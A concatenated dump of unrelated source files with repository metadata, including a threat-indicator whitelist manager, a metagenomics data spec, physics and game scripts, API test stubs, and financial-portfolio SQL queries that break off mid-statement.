"Add indicator to whitelist." menu['2'] = "Delete indicator from whitelist." menu['3'] = "Edit an indicator." menu['4'] = "Print whitelist." menu['5'] = "Save whitelist to file." menu['6'] = "Clear temporary whitelist." menu['7'] = "Exit." # try opening the whitelist file try: whitelistFile = open(WHITELIST_LOCATION, "r") whitelist = map(lambda x: x.rstrip('\r\n'), whitelistFile.readlines()) whitelistFile.close() print "Successfully opened whitelist file at: {}\n".format(WHITELIST_LOCATION) # prompt to create the whitelist file if it doesnt exist except Exception as e: whitelistFile = open(WHITELIST_LOCATION, "w") whitelistFile.close() whitelist = [] print "Created new whitelist file at: {}\n".format(WHITELIST_LOCATION) # Whitelist manager loop. # Instead of updating the file after each change, a temporary whitelist is # stored in an array and manipulated. Only saved changes will be pushed to # the whitelist file. while True: # Get the options options = menu.keys() options.sort() whitelist.sort() # sort the whitelist for better lookups # print menu for entry in options: print entry + ") " + menu[entry] print("-------------------------------------") # get input selection = raw_input("Selection: ") # add indicator to whitelist if selection == '1': clearTerminal() printWhitelist() enteredExit = False while not enteredExit: print "Enter an empty string to return to menu." indicator = raw_input("Specify an address, ip, or filehash: ") if indicator != "": # if its not empty if indicator not in whitelist: # if the indiciator isnt already in the whitelist whitelist.append(indicator) clearTerminal() printWhitelist() else: clearTerminal() printWhitelist() print "Indicator already in whitelist." else: enteredExit = True clearTerminal() # delete indicator from whitelist elif selection == '2': clearTerminal() enteredExit = False while not enteredExit: # print the current whitelist printWhitelist() print "Enter an empty string to return to menu." # checks if the index specified is valid validIndex = False while not validIndex: index = raw_input("Specify the index of the indicator you want to delete: ") if index != "": try: del(whitelist[int(index)]) # delete the indicator if its valid validIndex = True except Exception as e: print "Invalid index." # redo the input else: enteredExit = True validIndex = True clearTerminal() # edit an indicator elif selection == '3': clearTerminal() enteredExit = False while not enteredExit: # print the current whitelist printWhitelist() print "Enter an empty string to return to menu." # checks if the index specified is valid validIndex = False while not validIndex: index = raw_input("Specify the index of the indicator you want to modify: ") if index != "": try: whitelist[int(index)] # try and access the whitelist index newName = raw_input("Specify the new indicator name: ") whitelist[int(index)] = newName validIndex = True except Exception as e: print "Invalid index." # redo the input else: enteredExit = True validIndex = True clearTerminal() # print whitelist elif selection == '4': clearTerminal() printWhitelist() # save whitelist elif selection == '5': try: with open(WHITELIST_LOCATION, 'w') as whitelistFile: for line in whitelist: whitelistFile.write(line + '\n') clearTerminal() print "Saved whitelist to: {}.\n".format(WHITELIST_LOCATION) except Exception as e: clearTerminal() print "Warning: {}".format(e) print "Please run script as root!\nExiting..." quit() # clear whitelist elif selection == '6': whitelist = [] clearTerminal() print "Cleared the whitelist.\n" # exit the menu without saving elif selection == '7': print "Exiting..." break else: clearTerminal() print "Invalid option. Please select again...\n" # ----------------------------------------------------------------------------- # Start script if __name__ == "__main__": # parse arguments args = parseArguments() # update the whitelist if the option is selected if args.cmd == "whitelist": manageWhitelist() # pull the ioc's if the option is selected elif args.cmd == "pull": main(args.intel, args.top_website) # this shouldn't ever be called but... what if? else: print "Please consult the usage page: './iocpuller.py -h'"
[ "KMCGamer@live.com" ]
KMCGamer@live.com
15fb6788ed674d7fe2dfd6fcf2b8be443d9b1ea1
2b42b40ae2e84b438146003bf231532973f1081d
/spec/mgm4458310.3.spec
00ad46b77e340a73163f728374ab21471d1a13f0
[]
no_license
MG-RAST/mtf
0ea0ebd0c0eb18ec6711e30de7cc336bdae7215a
e2ddb3b145068f22808ef43e2bbbbaeec7abccff
refs/heads/master
2020-05-20T15:32:04.334532
2012-03-05T09:51:49
2012-03-05T09:51:49
3,625,755
0
1
null
null
null
null
UTF-8
Python
false
false
14,691
spec
{ "id": "mgm4458310.3", "metadata": { "mgm4458310.3.metadata.json": { "format": "json", "provider": "metagenomics.anl.gov" } }, "providers": { "metagenomics.anl.gov": { "files": { "100.preprocess.info": { "compression": null, "description": null, "size": 736, "type": "txt", "url": "http://api.metagenomics.anl.gov/analysis/data/id/mgm4458310.3/file/100.preprocess.info" }, "100.preprocess.passed.fna.gz": { "compression": "gzip", "description": null, "size": 686377, "type": "fasta", "url": "http://api.metagenomics.anl.gov/analysis/data/id/mgm4458310.3/file/100.preprocess.passed.fna.gz" }, "100.preprocess.passed.fna.stats": { "compression": null, "description": null, "size": 310, "type": "fasta", "url": "http://api.metagenomics.anl.gov/analysis/data/id/mgm4458310.3/file/100.preprocess.passed.fna.stats" }, "100.preprocess.removed.fna.gz": { "compression": "gzip", "description": null, "size": 43356, "type": "fasta", "url": "http://api.metagenomics.anl.gov/analysis/data/id/mgm4458310.3/file/100.preprocess.removed.fna.gz" }, "100.preprocess.removed.fna.stats": { "compression": null, "description": null, "size": 308, "type": "fasta", "url": "http://api.metagenomics.anl.gov/analysis/data/id/mgm4458310.3/file/100.preprocess.removed.fna.stats" }, "205.screen.h_sapiens_asm.info": { "compression": null, "description": null, "size": 480, "type": "txt", "url": "http://api.metagenomics.anl.gov/analysis/data/id/mgm4458310.3/file/205.screen.h_sapiens_asm.info" }, "205.screen.h_sapiens_asm.removed.fna.gz": { "compression": "gzip", "description": null, "size": 150, "type": "fasta", "url": "http://api.metagenomics.anl.gov/analysis/data/id/mgm4458310.3/file/205.screen.h_sapiens_asm.removed.fna.gz" }, "299.screen.info": { "compression": null, "description": null, "size": 410, "type": "txt", "url": "http://api.metagenomics.anl.gov/analysis/data/id/mgm4458310.3/file/299.screen.info" }, "299.screen.passed.fna.gcs": { "compression": null, "description": null, "size": 2214, "type": "fasta", "url": "http://api.metagenomics.anl.gov/analysis/data/id/mgm4458310.3/file/299.screen.passed.fna.gcs" }, "299.screen.passed.fna.gz": { "compression": "gzip", "description": null, "size": 447546, "type": "fasta", "url": "http://api.metagenomics.anl.gov/analysis/data/id/mgm4458310.3/file/299.screen.passed.fna.gz" }, "299.screen.passed.fna.lens": { "compression": null, "description": null, "size": 551, "type": "fasta", "url": "http://api.metagenomics.anl.gov/analysis/data/id/mgm4458310.3/file/299.screen.passed.fna.lens" }, "299.screen.passed.fna.stats": { "compression": null, "description": null, "size": 310, "type": "fasta", "url": "http://api.metagenomics.anl.gov/analysis/data/id/mgm4458310.3/file/299.screen.passed.fna.stats" }, "440.cluster.rna97.fna.gz": { "compression": "gzip", "description": null, "size": 36841, "type": "fasta", "url": "http://api.metagenomics.anl.gov/analysis/data/id/mgm4458310.3/file/440.cluster.rna97.fna.gz" }, "440.cluster.rna97.fna.stats": { "compression": null, "description": null, "size": 308, "type": "fasta", "url": "http://api.metagenomics.anl.gov/analysis/data/id/mgm4458310.3/file/440.cluster.rna97.fna.stats" }, "440.cluster.rna97.info": { "compression": null, "description": null, "size": 947, "type": "txt", "url": "http://api.metagenomics.anl.gov/analysis/data/id/mgm4458310.3/file/440.cluster.rna97.info" }, "440.cluster.rna97.mapping": { "compression": null, "description": null, "size": 858833, "type": "txt", "url": "http://api.metagenomics.anl.gov/analysis/data/id/mgm4458310.3/file/440.cluster.rna97.mapping" }, "440.cluster.rna97.mapping.stats": { "compression": null, "description": null, "size": 49, "type": "txt", "url": "http://api.metagenomics.anl.gov/analysis/data/id/mgm4458310.3/file/440.cluster.rna97.mapping.stats" }, "450.rna.expand.lca.gz": { "compression": "gzip", "description": null, "size": 331978, "type": "txt", "url": "http://api.metagenomics.anl.gov/analysis/data/id/mgm4458310.3/file/450.rna.expand.lca.gz" }, "450.rna.expand.rna.gz": { "compression": "gzip", "description": null, "size": 84629, "type": "txt", "url": "http://api.metagenomics.anl.gov/analysis/data/id/mgm4458310.3/file/450.rna.expand.rna.gz" }, "450.rna.sims.filter.gz": { "compression": "gzip", "description": null, "size": 53560, "type": "txt", "url": "http://api.metagenomics.anl.gov/analysis/data/id/mgm4458310.3/file/450.rna.sims.filter.gz" }, "450.rna.sims.gz": { "compression": "gzip", "description": null, "size": 590243, "type": "txt", "url": "http://api.metagenomics.anl.gov/analysis/data/id/mgm4458310.3/file/450.rna.sims.gz" }, "900.abundance.function.gz": { "compression": "gzip", "description": null, "size": 26590, "type": "txt", "url": "http://api.metagenomics.anl.gov/analysis/data/id/mgm4458310.3/file/900.abundance.function.gz" }, "900.abundance.lca.gz": { "compression": "gzip", "description": null, "size": 15535, "type": "txt", "url": "http://api.metagenomics.anl.gov/analysis/data/id/mgm4458310.3/file/900.abundance.lca.gz" }, "900.abundance.md5.gz": { "compression": "gzip", "description": null, "size": 34969, "type": "txt", "url": "http://api.metagenomics.anl.gov/analysis/data/id/mgm4458310.3/file/900.abundance.md5.gz" }, "900.abundance.ontology.gz": { "compression": "gzip", "description": null, "size": 43, "type": "txt", "url": "http://api.metagenomics.anl.gov/analysis/data/id/mgm4458310.3/file/900.abundance.ontology.gz" }, "900.abundance.organism.gz": { "compression": "gzip", "description": null, "size": 51856, "type": "txt", "url": "http://api.metagenomics.anl.gov/analysis/data/id/mgm4458310.3/file/900.abundance.organism.gz" }, "900.loadDB.sims.filter.seq": { "compression": null, "description": null, "size": 9101571, "type": "txt", "url": "http://api.metagenomics.anl.gov/analysis/data/id/mgm4458310.3/file/900.loadDB.sims.filter.seq" }, "900.loadDB.source.stats": { "compression": null, "description": null, "size": 127, "type": "txt", "url": "http://api.metagenomics.anl.gov/analysis/data/id/mgm4458310.3/file/900.loadDB.source.stats" }, "999.done.COG.stats": { "compression": null, "description": null, "size": 1, "type": "txt", "url": "http://api.metagenomics.anl.gov/analysis/data/id/mgm4458310.3/file/999.done.COG.stats" }, "999.done.KO.stats": { "compression": null, "description": null, "size": 1, "type": "txt", "url": "http://api.metagenomics.anl.gov/analysis/data/id/mgm4458310.3/file/999.done.KO.stats" }, "999.done.NOG.stats": { "compression": null, "description": null, "size": 1, "type": "txt", "url": "http://api.metagenomics.anl.gov/analysis/data/id/mgm4458310.3/file/999.done.NOG.stats" }, "999.done.Subsystems.stats": { "compression": null, "description": null, "size": 1, "type": "txt", "url": "http://api.metagenomics.anl.gov/analysis/data/id/mgm4458310.3/file/999.done.Subsystems.stats" }, "999.done.class.stats": { "compression": null, "description": null, "size": 1127, "type": "txt", "url": "http://api.metagenomics.anl.gov/analysis/data/id/mgm4458310.3/file/999.done.class.stats" }, "999.done.domain.stats": { "compression": null, "description": null, "size": 31, "type": "txt", "url": "http://api.metagenomics.anl.gov/analysis/data/id/mgm4458310.3/file/999.done.domain.stats" }, "999.done.family.stats": { "compression": null, "description": null, "size": 3860, "type": "txt", "url": "http://api.metagenomics.anl.gov/analysis/data/id/mgm4458310.3/file/999.done.family.stats" }, "999.done.genus.stats": { "compression": null, "description": null, "size": 5340, "type": "txt", "url": "http://api.metagenomics.anl.gov/analysis/data/id/mgm4458310.3/file/999.done.genus.stats" }, "999.done.order.stats": { "compression": null, "description": null, "size": 2022, "type": "txt", "url": "http://api.metagenomics.anl.gov/analysis/data/id/mgm4458310.3/file/999.done.order.stats" }, "999.done.phylum.stats": { "compression": null, "description": null, "size": 463, "type": "txt", "url": "http://api.metagenomics.anl.gov/analysis/data/id/mgm4458310.3/file/999.done.phylum.stats" }, "999.done.rarefaction.stats": { "compression": null, "description": null, "size": 22752, "type": "txt", "url": "http://api.metagenomics.anl.gov/analysis/data/id/mgm4458310.3/file/999.done.rarefaction.stats" }, "999.done.sims.stats": { "compression": null, "description": null, "size": 80, "type": "txt", "url": "http://api.metagenomics.anl.gov/analysis/data/id/mgm4458310.3/file/999.done.sims.stats" }, "999.done.species.stats": { "compression": null, "description": null, "size": 17435, "type": "txt", "url": "http://api.metagenomics.anl.gov/analysis/data/id/mgm4458310.3/file/999.done.species.stats" } }, "id": "mgm4458310.3", "provider": "metagenomics.anl.gov", "providerId": "mgm4458310.3" } }, "raw": { "mgm4458310.3.fna.gz": { "compression": "gzip", "format": "fasta", "provider": "metagenomics.anl.gov", "url": "http://api.metagenomics.anl.gov/reads/mgm4458310.3" } } }
[ "jared.wilkening@gmail.com" ]
jared.wilkening@gmail.com
13ba32c6e2a103795a5cafba7f437334176ac67e
d5fbb40c8fa95970a6b1dd10920071a3330c6de8
/src_d21c/in_theta.py
428938d97f7d9d9e57abdd3f26b45e3ee98844aa
[]
no_license
Pooleyo/theta.py
622000e04a7834a7b12d371337992f6063c3f332
7bdf96f7494db7fda8dbe8d1e8bb536a5b39e39d
refs/heads/master
2021-06-18T06:03:47.176742
2019-09-18T16:02:02
2019-09-18T16:02:02
137,497,437
0
0
null
null
null
null
UTF-8
Python
false
false
1,561
py
test_mode = True image_files = ['3x3_pixel_value_1.tif'] # "PSL_plate4_s10257_BBXRD.tif"#"3x3_white_test_image.tif"##"Nb_test_image.png" # #"PSL_plate4_s10257_BBXRD.tif"#"Nb_test_image.png"# source_position = [[50.0, 0.0, 49.8]] # In mm normal = [[-25.6, 0.0, 12.7078]] # [-10.0, 0.0, 10.0] # The normal to the plane of the image plate with units mm. sample_normal = [[0.0, 0.0, 1.0]] # This is used to correct for attenuation in the diffracting sample. offset = [[0.0, 12.0, 0.0]] # X offset (mm), Y offset (mm), rotation (degrees); note that rotation is not actually used # in this code, it is included simply to indicate which sonOfHoward parameters are being reference here. x_scale = [56] # In mm y_scale = [44] # In mm view_x = [[0.01, 1.0, 0.02]] # [-0.71, 0.0, -0.71] # "normalised" view_y = [[0.44, -0.02, 0.90]] # [0.0, 1.0, 0.0] # "normalised" wavelength = 1.378 # In Angstroms a_lattice = 3.3 # In Angstroms filter_thickness = [[10.0, 6.0]] filter_attenuation_length = [[34.1, 109.7]] # The attenuation length(s) of filter(s) used, in microns. Enter a new list # element for each filter; the order doesn't matter. Zn, at 9 keV, has attenuation length of 34.1 microns. Al, at 9 keV, # has attenuation length of 109.7 microns. phi_0_definer = [0.0, 0.0, 1.0] phi_limit = [-180.0, 180.0] gsqr_limit = [0.0, 18.0] theta_phi_n_pixels_width = 1 theta_phi_n_pixels_height = 1 num_width_subpixels = 1 num_height_subpixels = 1 plot = True debug = False name_plot_integrated_intensity = 'integrated_intensity_vs_gsqr.png'
[ "ajp560@york.ac.uk" ]
ajp560@york.ac.uk
6938f0bc75372893e1b90af44297d7efdbdabe3c
2d2ef049d450ef9ac6459bcdd1ea25fccc0305d5
/loadTimeEstimator.py
b1f03e7172b7ba44449aeb4afa1aa99899599ebb
[]
no_license
iotmember/code-fights
fc119f53cc42f9fea8a40f43335d93d076c92e9d
e7f1fdb9d5068bd2ed67d9df07541f306097bd19
refs/heads/master
2021-05-31T06:03:41.497371
2016-04-08T05:40:39
2016-04-08T05:40:39
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,074
py
import sys def loadTimeEstimator(sizes, uploadingStart, V): finish_time = [x for x in uploadingStart] t = [0 for x in uploadingStart] c = len(sizes) time_ = 0 curr_time = uploadingStart[0] while (c > 0): index_of_uploading_start = [i for i, x in enumerate(uploadingStart) if x == curr_time + time_ and sizes[i] != 0 ] if len(index_of_uploading_start): speed = V/float(len(index_of_uploading_start)) else: speed = V #print index_of_uploading_start for i in index_of_uploading_start: if sizes[i] > 0: sizes[i] = sizes[i] - speed finish_time[i] = finish_time[i] + 1 t[i] = t[i] + 1 uploadingStart[i] = uploadingStart[i] + 1 time_ += 1 c = len([x for x in sizes if x > 0]) return finish_time sizes = [21, 10] uploadingStart = [100, 105] V = 2 #print loadTimeEstimator(sizes, uploadingStart, V) print loadTimeEstimator([20, 10], [1, 1], 1) #print loadTimeEstimator([1, 1, 1], [10, 20, 30], 3)
[ "nasa.freaks@gmail.com" ]
nasa.freaks@gmail.com
afbca3f98f29ecf57fea0bb57ac052a0d95cad69
ff2d86d51c0e69a1d53e658fb3d2fbe2b0b585dd
/api/test/test_put_api.py
5becc1aa0d995575107b7cd679072af30c286936
[ "MIT" ]
permissive
wujood/AquaPi
988b512b07095702c4a2867fd825ac7673dcd52e
6b81291eed2341f9757cbb75f5f9ad48c4c4e83a
refs/heads/master
2020-03-11T14:08:22.445770
2018-07-03T21:51:57
2018-07-03T21:51:57
130,045,147
1
0
null
null
null
null
UTF-8
Python
false
false
1,234
py
# coding: utf-8 """ AquaPi Swagger API REST API for the AquaPi OpenAPI spec version: 1.0.0 Generated by: https://github.com/swagger-api/swagger-codegen.git """ from __future__ import absolute_import import os import sys import unittest import swagger_client from swagger_client.rest import ApiException from swagger_client.apis.put_api import PutApi class TestPutApi(unittest.TestCase): """ PutApi unit test stubs """ def setUp(self): self.api = swagger_client.apis.put_api.PutApi() def tearDown(self): pass def test_put_component_settings(self): """ Test case for put_component_settings Sets a new component settings """ pass def test_put_fishes(self): """ Test case for put_fishes Sets the fishes that are in the aquarium """ pass def test_put_plants(self): """ Test case for put_plants Sets the number of plants """ pass def test_put_push_configuration(self): """ Test case for put_push_configuration Sets new PushConfigurations """ pass if __name__ == '__main__': unittest.main()
[ "sw714201@fh-muenster.de" ]
sw714201@fh-muenster.de
6251d68f138a9b14476759cfdce97fd773872ec8
12123592a54c4f292ed6a8df4bcc0df33e082206
/py3/pgms/sec8/Extend/ctypes/convs.py
616830fa1e5821bc2a04d9cde8ded2752fa0ab67
[]
no_license
alvinooo/advpython
b44b7322915f832c8dce72fe63ae6ac7c99ef3d4
df95e06fd7ba11b0d2329f4b113863a9c866fbae
refs/heads/master
2021-01-23T01:17:22.487514
2017-05-30T17:51:47
2017-05-30T17:51:47
92,860,630
0
0
null
null
null
null
UTF-8
Python
false
false
354
py
#!/usr/bin/env python3 # convs.py - ctype conversions from ctypes import * # load shared library mylib = CDLL("./mylib.so") # double mult(double, double) mylib.mult.argtypes = (c_double, c_double) mylib.mult.restype = c_double # call C mult() function print(mylib.mult(2.5, 3.5)) ##################################### # # $ convs.py # 8.75 #
[ "alvin.heng@teradata.com" ]
alvin.heng@teradata.com
c625c91f36b9023bdda7ad7f8346b9bde769ae1b
63b0fed007d152fe5e96640b844081c07ca20a11
/ABC/ABC300~ABC399/ABC300/e.py
9ba33d532fb2e724f862b0ad868328126a7e1249
[]
no_license
Nikkuniku/AtcoderProgramming
8ff54541c8e65d0c93ce42f3a98aec061adf2f05
fbaf7b40084c52e35c803b6b03346f2a06fb5367
refs/heads/master
2023-08-21T10:20:43.520468
2023-08-12T09:53:07
2023-08-12T09:53:07
254,373,698
0
0
null
null
null
null
UTF-8
Python
false
false
718
py
from functools import lru_cache def modinv(a: int, m: int) -> int: ''' モジュラ逆元 ax mod m =1の解x=a^(-1)を返す Parameters ---------- a:int m:int ''' x, y, u, v = 1, 0, 0, 1 M = m while m > 0: k = a//m x -= k*u y -= k*v x, u = u, x y, v = v, y a, m = m, a % m assert a == 1, "a and m aren't relatively prime numbers" if x < 0: x += M return x N = int(input()) MOD = 998244353 P = modinv(5, MOD) @lru_cache(maxsize=None) def f(n): if n >= N: return 1 if n == N else 0 res = 0 for i in range(2, 7): res += f(i*n) return res*P % MOD ans = f(1) print(ans)
[ "ymdysk911@gmail.com" ]
ymdysk911@gmail.com
86b6e7d3332dc5f4925a2df4a4b96fb09ce525fd
5eb8c1f285837846a8fad3c08b7e9d89019ea2f8
/character.py
ff633ed151b34f4aa96727b54fc995962db94d70
[ "MIT" ]
permissive
RitikShah/hopper
cdd9e516eae39bd3d078aa30055433e32d384528
85503f9fae11124d40a7c1433102a7bdf56ba420
refs/heads/master
2020-03-07T21:06:07.870001
2018-04-02T18:33:58
2018-04-02T18:34:26
127,717,485
0
0
null
null
null
null
UTF-8
Python
false
false
1,282
py
from color import * import random from entity import * import pygame class Character(Entity): def __init__(self, posx, posy): super().__init__(posx, posy, 5) self.grav = 1 self.xspeed = 5 self.floorlevel = 100 self.jumpheight = 15 self.jumps = 0 self.maxjumps = 1 self.spacehold = False def update(self, key): # Key Listener if key[pygame.K_SPACE] and not(self.spacehold): if self.pos['y'] == winh-self.floorlevel: # Ground Level self.jumps = self.maxjumps self.velocity['y'] = -self.jumpheight self.spacehold = True elif self.jumps > 0: # Double Jump self.jumps -= 1 self.velocity['y'] = -self.jumpheight self.spacehold = True elif not(key[pygame.K_SPACE]): self.spacehold = False if key[pygame.K_LEFT]: self.pos['x'] -= self.xspeed elif key[pygame.K_RIGHT]: self.pos['x'] += self.xspeed if self.pos['x'] > winw-self.size['width']: self.pos['x'] = winw-self.size['width'] if self.pos['x'] < 0: self.pos['x'] = 0 # Gravity self.pos['y'] += self.velocity['y'] self.velocity['y'] += self.grav if self.pos['y'] > winh-self.floorlevel: self.pos['y'] = winh-self.floorlevel self.velocity['y'] = 0 super().update() def reset(self, posx, posy): self.__init__(posx, posy)
[ "shah10.ritik@gmail.com" ]
shah10.ritik@gmail.com
627323e27a09dc5c117409415c9142032f3337b7
bbf0f7cc8afd4d8de241211617051923d540e701
/Licenta2020CrivoiAndrei/Piano Follower/PianoManagerToplevel.py
4adbe94d5c44342bb36ff34349d2a46a88f6d352
[]
no_license
Crivoi/PianoFollower
f1c0e11a9cd7a23ec11018676ebadd9fce4fb2b1
90601bef5969f188d9d53fdceaa061147233f786
refs/heads/master
2022-03-31T18:56:40.816825
2020-02-12T16:39:58
2020-02-12T16:39:58
238,552,661
0
0
null
null
null
null
UTF-8
Python
false
false
1,616
py
try: import Tkinter as tk import TkFileDialog except ImportError: import tkinter as tk from tkinter import filedialog from DefaultToplevel import DefaultToplevel from MidiManager import MidiManager class PianoManagerToplevel(DefaultToplevel): def __init__(self, parent): self.midi_object = MidiManager('../recordings/midi_rec.txt') super().__init__(parent) def init_ui(self): menu_frame = tk.Frame(self, bd=3, bg='darkgray', height=self.height, width=self.width) menu_frame.place(x=0, y=0) midi_btn = tk.Button(menu_frame, text='Convert to Midi File', bd=2, command=lambda: self.convert_to_midi()) score_btn = tk.Button(menu_frame, text='Convert to Score File', bd=2, command=lambda: self.convert_to_score()) midi_btn.place(relx=0, relwidth=1.0 / 2.0, relheight=1.0) score_btn.place(relx=1.0/2.0, relwidth=1.0 / 2.0, relheight=1.0) def convert_to_midi(self): self.midi_object.midi_msg_to_mido_msg() file = filedialog.asksaveasfile(initialdir="/", title="Save file", filetypes=(('midi files', '*.mid'), ('all files', '*.*'))) self.midi_object.save_midi(file.name) def convert_to_score(self): file_path = filedialog.askopenfilename(initialdir='/', title='Open Midi', filetypes=(('midi files', '*.mid'), ('all files', '*.*'))) self.midi_object.convert_midi_to_stream(file_path)
[ "andrei.crivoi1997@gmail.com" ]
andrei.crivoi1997@gmail.com
13b774da8dcc15f01c6f64b8aa5c47de5f569201
0d1770ccdf66058360a06905c4f5713f93a70dd4
/Gl_api_project/testcase/test_03order_pay_jicaihuodong.py
8c775979d6227c921b94937deb66f9d5bfb10f0e
[]
no_license
balckwoo/pythoncode
cce08ec03af8835deed99df1307720e91823fbff
31520f3cba14faeb583636cd26c28ef6cefcb555
refs/heads/master
2023-03-23T11:16:38.270347
2021-03-23T04:16:06
2021-03-23T04:16:06
328,590,899
0
0
null
null
null
null
UTF-8
Python
false
false
2,335
py
""" ======================================== # Author: Alem # Date:2021/3/11 0011 # Time:下午 12:01 # Email: chengrichong@foxmail.com ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ # Two roads diverged in a wood,and I # I took the one less traveled by, # And that has made all the difference. ========================================= """ import requests import os from common import myddt import unittest from common import handle_excel, handle_path, handle_logs, handle_conf from tools import tools from testcase import fixture @myddt.ddt class TestLogin(unittest.TestCase): case_file = handle_excel.Test_case(os.path.join(handle_path.DATA_PATH, "GL_test_case.xlsx"), "order_huodong") test_case = case_file.test_cases() @classmethod def setUpClass(cls): fixture.submit_order_fixture(cls) @myddt.data(*test_case) # 集采活动商品,现金支付 def test_order_pay_type8(self, items): url = handle_conf.Conf.get("env", "url") + items["url"] headers = self.headers method = items["method"] case_id = items["case_id"] + 1 if "#orderId#" in items["data"]: items["data"] = items["data"].replace("#orderId#", str(tools.find_order_id())) if "merchantNo" in items["data"]: items["data"] = items["data"].replace("#merchantNo#", str( tools.get_merchant_no(handle_conf.Conf.get("goods", "goods_info_item_no_bwd_baopin")))) params = eval(items["data"]) expected = eval(items["expected"]) res = requests.request(url=url, json=params, headers=headers, method=method).json() print(res) try: self.assertEqual(expected["status"], res["status"]) self.assertEqual(expected["code"], res["code"]) self.assertEqual(expected["message"], res["message"]) except AssertionError as e: handle_logs.log.error("用例执行失败,记录信息为-----{}-----".format(items['title'])) handle_logs.log.error(e) self.case_file.write_case(row=case_id, coulmn=8, value="失败") raise e else: handle_logs.log.info("用例执行成功,记录信息为-----{}-----".format(items['title'])) self.case_file.write_case(row=case_id, coulmn=8, value="成功")
[ "18797763626@163.com" ]
18797763626@163.com
c56c704d3722285022a8133baa4cc84a6102a7ec
05f7f004ccd926c1611dc03473e0778d8c332e14
/asset_allocation_chengtong/shell/criteria_ct.py
c71a9e78d84aa9d38b0ed9058c79d9b90086c435
[]
no_license
tongch8819/lcmf_projects
06cd875e5b001a871cc11cdc8cf45a32f7faa105
a7243aee94da9bbf9651e1365351c5b4ef364b80
refs/heads/master
2022-04-04T22:15:26.726761
2020-02-24T03:51:23
2020-02-24T03:51:23
null
0
0
null
null
null
null
UTF-8
Python
false
false
14,594
py
#encoding=utf8 import numpy as np import pandas as pd from ipdb import set_trace from sqlalchemy.orm import sessionmaker from db import database from db import asset_allocate import trade_date engine_asset = database.connection('asset') engine_mofang = database.connection('base') engine_readonly = database.connection('readonly') Session = sessionmaker(bind=engine_asset) begin_date = pd.Timestamp(2016,8,12) end_date = pd.Timestamp(2019,8,23) #a_trade_date = trade_date.ATradeDate() #trade_weeks = a_trade_date.week_trade_date(begin_date=begin_date, end_date=end_date) def TradeWeeks(engine=engine_mofang): sql_t = 'select * from trade_dates' df_t = pd.read_sql(con=engine, sql=sql_t, parse_dates=['td_date'], index_col=['td_date']) trade_weeks = df_t.loc[((df_t.td_type & 0X02)>0) & (df_t.index > begin_date)].index.sort_values() # notice trade_weeks = list(trade_weeks) trade_weeks[-1] = pd.Timestamp(2019, 8, 22) return trade_weeks trade_weeks = TradeWeeks() def Risk10(engine=engine_asset): sql_tmp = 'select ra_date, ra_portfolio_id, ra_nav from ra_portfolio_nav where ra_type = 8;' df_Risk10 = pd.read_sql(sql=sql_tmp, con=engine, parse_dates=['ra_date']) ids = ['PO.OnlineAShare', 'PO.OnlineMShare', 'PO.OnlineHShare', 'PO.OnlineShare', 'PO.OnlineBond', 'PO.OnlineCommodity'] df_Risk10 = df_Risk10.set_index(['ra_date', 'ra_portfolio_id']).unstack()['ra_nav'].reindex(ids, axis=1) return df_Risk10 def CashPortfolio(engine=engine_asset): sql_tmp = "SELECT ra_date, ra_nav FROM ra_pool_nav WHERE ra_pool = '11310102';" df_CashPortfolio = pd.read_sql(sql=sql_tmp, con=engine, parse_dates=['ra_date'], index_col=['ra_date']) return df_CashPortfolio def Steady(engine=engine_asset): sql_tmp = "SELECT ra_date, ra_nav FROM ra_portfolio_nav WHERE ra_portfolio_id = 'PO.CB0040' AND ra_date >= '2018-01-01';" df_Steady = pd.read_sql(sql=sql_tmp, con=engine, parse_dates=['ra_date']) df_Steady.drop_duplicates(subset=['ra_date'], keep='first', inplace=True) df_Steady.set_index('ra_date', inplace=True) return df_Steady # Slow, 8640 columns def Fund_nav(engine=engine_mofang): sql_t = "select ra_fund_id, ra_date, ra_nav_adjusted from ra_fund_nav WHERE ra_date >= '2015-01-01';" ra_fund_nav = pd.read_sql(sql=sql_t, con=engine, parse_dates=['ra_date']) ra_fund_nav.ra_fund_id = ra_fund_nav.ra_fund_id.astype(str) ra_fund_nav = ra_fund_nav.drop_duplicates(subset=['ra_date', 'ra_fund_id']).set_index(['ra_date', 'ra_fund_id']).unstack()['ra_nav_adjusted'].sort_index() return ra_fund_nav def Yinhe_type(engine=engine_readonly): sql_t = 'select * from yinhe_type;' yinhe_type = pd.read_sql(sql=sql_t, con=engine) yinhe_type.yt_fund_id = yinhe_type.yt_fund_id.astype(str) return yinhe_type def Bank_nav(engine=engine_asset): sql_tmp = "SELECT date, annual_return AS mean FROM financial_product_bank;" bank_nav = pd.read_sql(sql=sql_tmp, con=engine, parse_dates=['date'], index_col=['date']) return bank_nav ## 银行理财 #bank_nav.set_index('date', inplace=True) ## 两种商业银行做均值 #bank_nav['mean'] = bank_nav.mean(axis=1) def dingkai(engine=engine_asset): sql_tmp = "SELECT stock_code, stock_name FROM dingkaizhaiji;" dingkai = pd.read_sql(sql=sql_tmp, con=engine) dingkai['code'] = dingkai['stock_code'].apply(lambda x: x[:-3]) return dingkai def PoolCode(): yinhe_type = Yinhe_type() dict_PoolCode = dict() pool_str = ['智能组合', '货币基金池', '债券基金池', 'a股基金池', '美股基金池', '港股基金池'] # t = ['中短期标准债券型基金', '中短期标准债券型基金(B/C类)', '长期标准债券型基金(A类)', '长期标准债券型基金(B/C类)', '指数债券型基金(A类)', '指数债券型基金(B/C类)'] t = ['中短期标准债券型基金', '中短期标准债券型基金(B/C类)', '长期标准债券型基金(B/C类)', '指数债券型基金(B/C类)'] BondFund_t = yinhe_type.loc[yinhe_type.yt_l3_name.isin(t)].copy() df_ttt = yinhe_type.loc[yinhe_type.yt_l1_name.isin(['混合基金'])].copy() codes_t = list(yinhe_type.loc[yinhe_type.yt_l1_name.isin(['股票基金']), 'yt_fund_id'].unique()) + list(df_ttt.loc[df_ttt.yt_l2_name.isin(['偏股型基金', '股债平衡型基金']), 'yt_fund_id'].unique()) # Code 不能包含重复值 dict_PoolCode['智能组合'] = set(codes_t) dict_PoolCode['货币组合'] = yinhe_type.loc[yinhe_type.yt_l1_name =='货币市场基金', 'yt_fund_id'].unique() dict_PoolCode['债券基金池'] = BondFund_t.yt_fund_id.unique() dict_PoolCode['a股基金池'] = yinhe_type.loc[yinhe_type.yt_l1_name =='股票基金', 'yt_fund_id'].unique() dict_PoolCode['美股基金池'] = yinhe_type.loc[yinhe_type.yt_l2_name =='QDII股票基金', 'yt_fund_id'].unique() dict_PoolCode['港股基金池'] = 